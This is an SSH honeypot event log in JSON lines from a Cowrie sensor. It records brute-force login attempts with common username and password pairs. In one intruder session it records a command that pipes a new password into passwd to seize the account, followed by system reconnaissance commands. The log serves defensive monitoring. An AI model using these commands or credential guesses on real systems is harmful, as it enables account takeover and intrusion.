{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7e81e5af2ec5de772a7491e14620cbc488209a3f1720014908948e3dafc6fdc6","size":32,"shasum":"7e81e5af2ec5de772a7491e14620cbc488209a3f1720014908948e3dafc6fdc6","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7e81e5af2ec5de772a7491e14620cbc488209a3f1720014908948e3dafc6fdc6 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:31.018403Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:31.457757Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2026\\nA1wiconbiLCe\\nA1wiconbiLCe\\n\"|passwd","message":"CMD: echo \"admin@2026\\nA1wiconbiLCe\\nA1wiconbiLCe\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:31.460814Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e051a6ccf2428df1d06f5a35a0085890fda78cd310c15aa684324795f877654c","size":25,"shasum":"e051a6ccf2428df1d06f5a35a0085890fda78cd310c15aa684324795f877654c","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e051a6ccf2428df1d06f5a35a0085890fda78cd310c15aa684324795f877654c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:31.663584Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:32.153927Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:32.156908Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:32.362984Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:32.800718Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:32.803478Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:33.007259Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:33.465197Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:33.467973Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:33.470720Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:33.675010Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:34.116579Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:34.119416Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:34.321195Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:34.760797Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:34.763722Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":197,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:34.967074Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:35.423721Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:35.426535Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:35.632849Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53076,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8fabc9fce63","protocol":"ssh","message":"New connection: 91.92.40.171:53076 (159.203.135.109:22) [session: b8fabc9fce63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:35.635854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:35.851674Z","src_ip":"91.92.40.171","session":"b8fabc9fce63","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.070537Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.072718Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.275890Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.711605Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.714425Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51610,"dst_ip":"159.203.135.109","dst_port":22,"session":"d136943dc04a","protocol":"ssh","message":"New connection: 91.92.42.133:51610 (159.203.135.109:22) [session: d136943dc04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.743656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.778376Z","src_ip":"91.92.42.133","session":"d136943dc04a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.827685Z","src_ip":"91.92.40.171","session":"b8fabc9fce63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.872032Z","src_ip":"91.92.42.133","session":"d136943dc04a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:36.923427Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:37.366299Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:37.369480Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:37.393738Z","src_ip":"91.92.42.133","session":"d136943dc04a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:37.572068Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:38.027022Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:38.029810Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:38.231555Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:38.608819Z","src_ip":"91.92.42.133","session":"d136943dc04a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:38.678640Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:38.681566Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:38.888523Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:39.325582Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:39.328101Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:39.531610Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37624,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f68ac2fee43","protocol":"ssh","message":"New connection: 91.92.40.171:37624 (159.203.135.109:22) [session: 8f68ac2fee43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:39.834297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:39.901435Z","src_ip":"91.92.40.171","session":"8f68ac2fee43","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:39.974741Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:39.977839Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:39.988898Z","src_ip":"91.92.40.171","session":"8f68ac2fee43","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:40.189429Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:40.194298Z","src_ip":"61.76.112.4","session":"84b795baba1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:40.371351Z","src_ip":"91.92.40.171","session":"8f68ac2fee43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:41.545109Z","src_ip":"91.92.40.171","session":"8f68ac2fee43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:42.815676Z","src_ip":"91.92.40.171","session":"b8fabc9fce63","protocol":"ssh"}
